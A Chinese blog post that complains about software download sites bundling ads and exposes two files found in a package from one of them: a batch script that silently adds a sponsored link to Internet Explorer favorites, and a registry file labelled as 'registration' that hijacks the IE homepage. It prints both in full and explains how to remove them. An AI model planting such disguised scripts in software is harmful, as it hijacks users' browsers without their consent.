抓鬼记

红软基地一向是我下载软件的好地方，虽然它的广告版面很大，排版很丑，但也不影响我下载自己喜欢的软件（里面有很多破解软件）。不过自从360安全卫士等等桌面管理软件推出了之后，鉴于他们有更方便的下载方式，人们逐渐的就忘记了这些传统的软件下载站。记得不久之前，下载站（华军软件、天空等等）的站长们也因此开过大会讨论转型以谋求生存空间。

现实的情况是360他们越做越大，下载站点却一点也不争气，没有推出自己的客户端，也没有什么重大的转型动向，反而一昧地往软件里面打包广告骗取点击率，置老用户们的抱怨不顾。这样一来，劣势就更明显了：360、QQ管家、金山卫士等等都没有广告，下载比较简单方便。

这里先放下传统下载站点如何流氓不说。今天的主菜是要提醒各位从这些站点打包的软件注意看看里面的reg、bat、vbs等文件。这可不嘛。。抓到两个这样的东西了。在红软基地上下载的软件包里面就有。

“注册.bat”的代码如下：

@echo off
>tmp.vbs echo Set objShell = CreateObject("Shell.Application").Namespace(^&H6^&).Self :IETemp = objShell.Path :WScript.echo IETemp
for /f "delims=" %%i in ('cscript.exe //nologo tmp.vbs') do set aPath=%%i& del tmp.vbs
>%aPath%\淘宝皇冠店铺导航.url echo [DEFAULT]
>>%aPath%\淘宝皇冠店铺导航.url echo BASEURL=http://taoke.rsdown.cn
>>%aPath%\淘宝皇冠店铺导航.url echo [InternetShortcut]
>>%aPath%\淘宝皇冠店铺导航.url echo URL=http://taoke.rsdown.cn

这段代码的作用是：用vbs脚本创建链接到红软基地的url放到用户的收藏夹里面，然后删除这个vbs脚本。
另外的一个文件“注册.reg”,代码如下：

Windows Registry Editor Version 5.00

[HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.2345.com/?k165693"
"First Home Page"=""http://www.2345.com/?k165693" "
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.2345.com/?k165693"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]
"SearchAssistant"="about:blank"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.2345.com/?k165693"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Search]
[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.2345.com/?k165693"
"Start Page"="http://www.2345.com/?k165693"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.2345.com/?k165693"
"Default_Page_URL"="http://www.2345.com/?k165693"

作用是修改你的IE主页。[music1g play=55489]

修复方法也很简单，删除它们所创建的东西就可以了。值得吸取的教训是：不是骑白马的都是王子，不是所有管“注册”的reg文件都是真注册文件。2011互联网这趟水很混，游泳者小心。